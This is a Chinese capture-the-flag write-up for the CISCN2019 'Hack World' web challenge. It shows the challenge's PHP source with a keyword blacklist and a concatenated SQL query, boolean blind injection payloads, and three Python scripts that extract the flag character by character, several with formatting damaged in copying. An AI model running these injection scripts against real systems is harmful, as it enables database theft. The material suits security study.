[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点：题目已经告知列名和表明为flag，接下来利用ascii和substr函数即可进行bool盲注
eg:
id=(ascii(substr((select(flag)from(flag)),1,1))<128)

0x01

看了网上的源码发现：

<?php 
$dbuser='root'; 
$dbpass='root'; 
function safe($sql){ 
#被过滤的内容 函数基本没过滤 
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); 
foreach($blackList as $blackitem){ 
if(stripos($sql,$blackitem)){ 
return False; } } return True; 
} i
f(isset($_POST['id'])){ 
$id = $_POST['id']; 
}else
{ die();
} 
$db = mysql_connect("localhost",$dbuser,$dbpass); i
f(!$db){ 
die(mysql_error()); } 
mysql_select_db("ctf",$db); 
if(safe($id)){ 
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); 
if($query){ 
$result = mysql_fetch_array($query); 
if($result){ 
echo $result['content']; 
}else{ 
echo "Error Occured When Fetch Result."; 
} 
}else{ 
var_dump($query); 
} }else{ 
die("SQL Injection Checked."); }

过滤了一堆东西，可以看到很多函数没有过滤，
接下来就想办法借助函数构造注入就可以了。

借助substr函数截取flag中的内容，长度依次增加。用if函数判断截取出来的内容是什么，这里需要穷举。如果判断成功，返回1，否则返回2。

0x2解题

贴上wp脚本
import requests
import time

url是随时更新的，具体的以做题时候的为准

url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'

i = 6
while True:

从可打印字符开始

begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
    print(begin,tmp,end)
    time.sleep(1)
    data["id"] = "if(ascii(substr((select       flag        from    flag),{},1))>{},1,2)".format(i,tmp)
    r = requests.post(url,data=data)
    if 'Hello' in r.text:
        begin = tmp+1
        tmp = (begin+end)//2 
    else:
        end = tmp
        tmp = (begin+end)//2

flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
    break

0x03 解法二

看的网上的wp还有一种解法是通过异或

在爆flag的时候发现有过滤 :select,show,""……很是难受，后来在师傅的博客上看到了这种方法：

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
附上脚本爆破

#!/usr/bin/python
#-*-coding:utf-8 -*-
import requests
import re

def flag_get(start,f,url):    #确定start位的字符
	a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'
	data = {'id': a }
	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
	r= requests.post(url, data)
	s=r.text
	#print(s)
	if 'Hello' in s:
		return 1
	else:
		return 0

def flag_find(start,f,url): #确定
	a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))'
	data = {'id': a }
	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
	r= requests.post(url, data)
	s=r.text
	#print(s)
	if 'Hello' in s:
		return 1
	else:
		return 0



if __name__ == '__main__':
	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
	flag_kouhao=125
	flag=''
	num=1       #从第num位开始爆破
	while 1:
		start=32   #ascii的起始范围（10进制）
		last=126   #ascii的终止范围（10进制）
		mid=int((start+last)/2)
		while 1:
			if(flag_get(num,flag_kouhao,url)):
				flag=flag+'}'
				print('flag     is    :'+flag)
				exit(1)
			print('strat is '+str(start))
			print(' mid  is '+str(mid))
			print('last  is '+str(last))
			print('****************************************')

			if(flag_find(num,mid,url)):
				start=mid
				mid=int((start+last)/2)
				if ((last-start)<5):
					break
			else:
				last=mid
				mid=int((start+last)/2)
				if ((last-start)<5):
					break
		print(start)
		print(last)
		print('****************************************')
		for i in range(start,last+1):
			print(i)
			if(flag_get(num,i,url)):
				f=chr(i)
				flag=flag+f
				print('****************************************')
				print(' num is '+str(num))
				print('char is '+f)
				print('flag is '+flag)
				print('****************************************')
				break
		num=num+1	
	print(flag)

exp2：

coding:utf-8

import requests
from lxml import etree
def a():
url="http://b995ff2b-d867-4580-80c2-3fd1e4b25cb4.node3.buuoj.cn/"
flag="Hello, glzjin wants a girlfriend."
final=""
stop=0
for i in range(1,1290):
print(""50,i,""50)
stop=0
for j in range(32,129):
stop = j
data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
re = requests.post(url=url,data=data).text.replace(' ','')
html = etree.HTML(re).xpath("//text()")
# print(">>",html)
if flag in html:
final+=chr(j)
print(" ",final)
break

     if stop >= 128:
        print("*"*50,"结束")
        print(">>",final)
        break

if name == 'main':
a()

参考链接
https://www.cnblogs.com/kevinbruce656/p/11342580.html

https://blog.csdn.net/weixin_43345082/article/details/99062970